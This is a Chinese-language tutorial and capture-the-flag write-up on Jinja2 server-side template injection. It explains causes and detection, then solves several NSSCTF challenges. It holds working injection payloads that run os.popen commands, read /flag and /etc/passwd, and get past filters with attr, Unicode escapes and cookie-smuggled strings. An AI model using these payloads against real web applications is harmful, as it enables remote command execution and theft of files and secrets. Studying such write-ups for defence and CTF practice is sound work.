SSTI 漏洞概述

SSTI(Server-Side Template Injection,服务器端模板注入),主要发生在 Web 应用使用模板引擎动态渲染页面内容的场景中。当应用程序未对用户输入的内容进行严格过滤或转义,直接将用户可控数据嵌入到模板中进行解析渲染时,攻击者就可能通过构造恶意输入来注入模板代码,从而执行任意命令、读取敏感文件或获取服务器权限。

模板引擎的设计初衷是将页面逻辑与数据展示分离,提高开发效率。常见的模板引擎包括 Python 的 Jinja2、Django Template,PHP 的 Smarty、Twig,Java 的 FreeMarker、Velocity,Node.js 的 EJS、Handlebars 等。

SSTI 漏洞成因

SSTI 漏洞的核心成因是用户输入未经过安全处理直接嵌入模板,具体可分为以下几种情况:

  1. 直接拼接用户输入到模板字符串:例如在 Python 中使用render_template_string("Hello, %s" % user_input),若user_input包含模板语法,会被引擎解析执行。
  2. 模板路径 / 名称可控:攻击者通过控制模板文件路径,加载恶意模板文件或系统敏感文件(如/etc/passwd)。
  3. 模板变量赋值不当:将用户输入直接作为模板变量的值,且变量在模板中被以执行代码的方式调用(如{{ user_input }}在某些引擎中可执行表达式)。

使用

  • 输入{{ 7*7 }},若页面返回49,说明模板引擎执行了表达式,可能存在漏洞。

  • 输入{{ config }}(Jinja2),若返回配置信息,证明漏洞存在

  • 读取配置文件:{{ config.items() }}(Jinja2)可获取应用配置,包括数据库账号密码等。

  • 读取系统文件:在支持文件操作的引擎中,可通过{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}(Jinja2)读取/etc/passwd

Jinja2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
控制结构 {% %} 可以声明变量,也可以执行语句
变量取值 {{ }} 用于将表达式打印到模板输出
注释块 {# #} 用于注释

__class__
  查看对象所在的类
__mro__
  查看继承关系和调用顺序,返回元组
__base__
  返回基类
__bases__
  返回基类元组
__subclasses__()
  返回子类列表
__init__
  调用初始化函数,可以用来跳到__globals__
__globals__
  返回函数所在的全局命名空间所定义的全局变量,返回字典
__builtins__
  返回内建内建名称空间字典
__dic__
  返回类的静态函数、类函数、普通函数、全局变量以及一些内置的属性
__getitem__()
  调用字典中的键值,比如a['b'],就是a.__getitem__('b')
__import__
  动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]
__str__()
  返回描写这个对象的字符串,就是打印出来。

实战

[LitCTF 2025]星愿信箱

环境:[LitCTF 2025]星愿信箱 | NSSCTF

image-20250529194100233

看有哪些函数

image-20250529195428774

通过 config对象调用 os.popen执行 ls /

image-20250529195633146

发现有flag,cat别屏蔽了,head /flag查看

image-20250529195947717

[HNCTF 2022 WEEK2]ez_SSTI

环境:[HNCTF 2022 WEEK2]ez_SSTI | NSSCTF

image-20250802235544134

参数是name,且没过滤

1
http://node5.anna.nssctf.cn:24127/?name={{7*7}}

image-20250802235704630

ls看一下

1
name={{config.__class__.__init__.__globals__[%27os%27].popen(%27ls%27).read()}}

image-20250803000827654

获得flag

1
name={{config.__class__.__init__.__globals__['os'].popen('cat flag').read()}}

image-20250803000956572

[安洵杯 2020]Normal SSTI

环境:[安洵杯 2020]Normal SSTI | NSSCTF

知识点

1
2
3
4
5
|attr(“__class__”)等于

.__class__

flask里的lipsum方法,可以得到__builtins__,且lipsum.__globals__含有os模块

image-20250803001427037

发现{{}}被过滤了,但

1
{%print()%}

还能用,**.[]**也被过滤了

image-20250803001753051

1
lipsum|attr("__globals__")

Unicode 编码

1
lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")

image-20250803103220064

获取os

image-20250803104006225

获取popen()

image-20250803104546159

read输出

image-20250803105516393

[HNCTF 2022 WEEK3]ssssti

环境:[HNCTF 2022 WEEK3]ssssti | NSSCTF

image-20250803005616259

参数是name

image-20250803005702194

发现有过滤,这些都用不了 \, ", args, os, _,"
也不能用{%%}

尝试用request.cookies,可以通过cookies传入参数。

1
2
3
payload

{{self.__dict__._TemplateReference__context.lipsum.__globals__.__builtins__.open("/flag").read()}}

使用request.cookies构造

1
2
3
?name={{self[request.cookies.c][request.cookies.d][request.cookies.e][request.cookies.f][request.cookies.g].open(request.cookies.z).read()}}

cookie:c=__dict__;d=_TemplateReference__context;e=lipsum;f=__globals__;g=__builtins__;z=flag

获得falg

image-20250803011420810